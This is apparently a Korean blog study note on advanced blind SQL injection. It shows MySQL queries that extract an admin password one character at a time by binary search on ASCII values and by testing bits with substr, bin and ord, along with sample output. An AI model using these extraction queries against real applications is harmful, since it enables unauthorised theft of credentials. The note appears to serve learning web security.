Blind SQL Injection Advanced
1.Intro
해당 공격 기법은 임의 데이터를 알아내기 위한 일련의 방법으로 수많은 쿼리를 전송한다.
실제 어플리케이션을 공격할 때에 수많은 쿼리를 전송하게 되면 방화벽에 의해 접속 IP가 차단될 수 있다.
이 뿐만 아니라 알아내려는 데이터의 길이가 길면 길수록 실행해야할 쿼리 또한 늘어나며 그만큼 공격에 들이는 시간이 길어질 수 밖에 없다.
이번엔 Blind SQL Injection을 통해 데이터 베이스의 내용을 효율적으로 알아내기 위한 방법에 대해 소개한다.
방법을 알아보기에 앞서 간략하게 알고리즘에 대해 설명 후 공격 쿼리 작성 할 것 이다.
2.Binary Search
이진 탐색 (Binary Search)은 이미 정렬된 리스트에서 임의의 값을 효율적으로 찾기 위한 알고리즘이다. 해당 알고리즘은 임의 값을 찾기 위해 검색 범위를 좁혀나간다. 검색 과정은 아래와 같이 이뤄진다.
1. 범위 지정
0부터 100 사이의 범위 내에서 한 숫자만이 정답일 때 범위의 중간 값(50)을 지정한다.
2. 범위 조절
정답이 50보다 큰 값인지 확인한다. 큰 값이라면 범위를 51~100으로 조절하고, 아니라면 0~49로 조저라여 검색 범위를 좁혀나간다. 이 과정을 반복하다보면 범위를 크게 좁힐 수 있고, 최종적으로 정답을 찾아낼 수 있다.
(1) 사용 예시
아래와 같은 데이터 베이스가 있다고 가정한다.
uesrname | password |
admin | P@ssword |
Binary Search를 이용한 공격
Blind SQL Injection에서 사용한 substr함수의 반환값을 비교해 패스워드를 알아낼 수 있다.
공격하기 앞서 비밀번호에 포함 될 수 있는 아스키에서 출력 가능한 눔ㄴ자의 범위는 32~126이므로, 패스워드의 첫 번째 바이트가 79보다 큰 값인지 확인한다.
mysql> select * from users where
username='admin'
and ascii(substr(password, 1, 1))>79;
+----------+----------+
| username | password |
+----------+----------+
| admin | P@ssword |
+----------+----------+
1 row in set (0.00 sec)
위는 비밀번호의 첫 번째 자리가 79보다 큰 값인지 비교하는 쿼리를 실행한 모습이다. 결과를 살펴 보면 비밀번호의 첫번째 바이트가 'P' 즉, 80이므로 결과는 참인 것을 확인 할 수 있따. 이처럼 해당 쿼리에 이진 탐색 알고리즘을 적용한 과정을 반복하다보면 비밀번호를 모두 구할 수 있다.
3.Bit 연산
ASCII은 0부터 127 범위의 문자를 표현할 수 있으며, 이느 곧 7개의 비트를 통해 하나의 문자로 나타낼 수 있다는 것을 의미한다. 하나의 비트는 0과 1로 이뤄져 있다. 이 특징을 이요해 7개의 비트에 대해 1인지 비교하면 총 7번의 쿼리로 임의 데이터의 한 바이트를 알아낼 수 있다. MySQL에서는 숫자를 비트 형태로 변환하는 bin 함수를 제공한다.
mysql> SELECT bin(ord('A'));
+---------------+
| bin(ord('A')) |
+---------------+
| 1000001 |
+---------------+
1 row in set (0.00 sec)
문자를 숫자형태로 변환하고, 이를 비트의 형태로 다시 변환한 예시이다.
(1)사용예시
데이터 베이스 가정
uesrname | password |
admin | P@ssword |
비트 연산을 이용한 공격
substr과 bin을 통해 총 7번의 쿼리를 실행해 한바이트씩 알아낼 수 있다.
ysql> select * from users where username='admin' and
substr(bin(ord(password)),1,1)=1;
+----------+----------+
| username | password |
+----------+----------+
| admin | P@ssword |
+----------+----------+
1 row in set (0.00 sec)
mysql> select * from users where username='admin'
and substr(bin(ord(password)),2,1)=1;
Empty set (0.00 sec)
mysql> select * from users where username='admin' and
substr(bin(ord(password)),3,1)=1;
+----------+----------+
| username | password |
+----------+----------+
| admin | P@ssword |
+----------+----------+
1 row in set (0.01 sec)
mysql> select * from users where username='admin'
and substr(bin(ord(password)),4,1)=1;
Empty set (0.00 sec)
mysql> select * from users where username='admin' and
substr(bin(ord(password)),5,1)=1;
Empty set (0.00 sec)
mysql> select * from users where username='admin' and
substr(bin(ord(password)),6,1)=1;
Empty set (0.00 sec)
mysql> select * from users where username='admin' and
substr(bin(ord(password)),7,1)=1;
Empty set (0.00 sec)
한 비트씩 비교하여 관리자 계정의 비밀번호 첫 바이트를 알아내는 모습이다. 결과를 살펴 보면 총 7번의 쿼리로 반환결과를 통해 한 바이트를 알아낼 수 있다. 결과를 토대로 2 진수를 표현하면 1010000이며 이를 10진수로 표현하면 80, 문자로 표현하면 P가 된다. 참일 시 1, 거짓일 시 0 =>1010000이 되는 듯
4.REVIEW
문제 풀이랄게 없기도 하고 평소보다 내용이 짧기도해 이해하는데 딱히 무리가 없는 파트였다
'IT > 웹해킹' 카테고리의 다른 글
SQL Injection -Part2 -1 (0) | 2023.01.26 |
---|---|
SQL injection -4 (2) | 2023.01.25 |
SQL injection-2 (0) | 2023.01.24 |
SQL injuection -1 (0) | 2023.01.24 |
Web 해킹 이해하기 (0) | 2023.01.19 |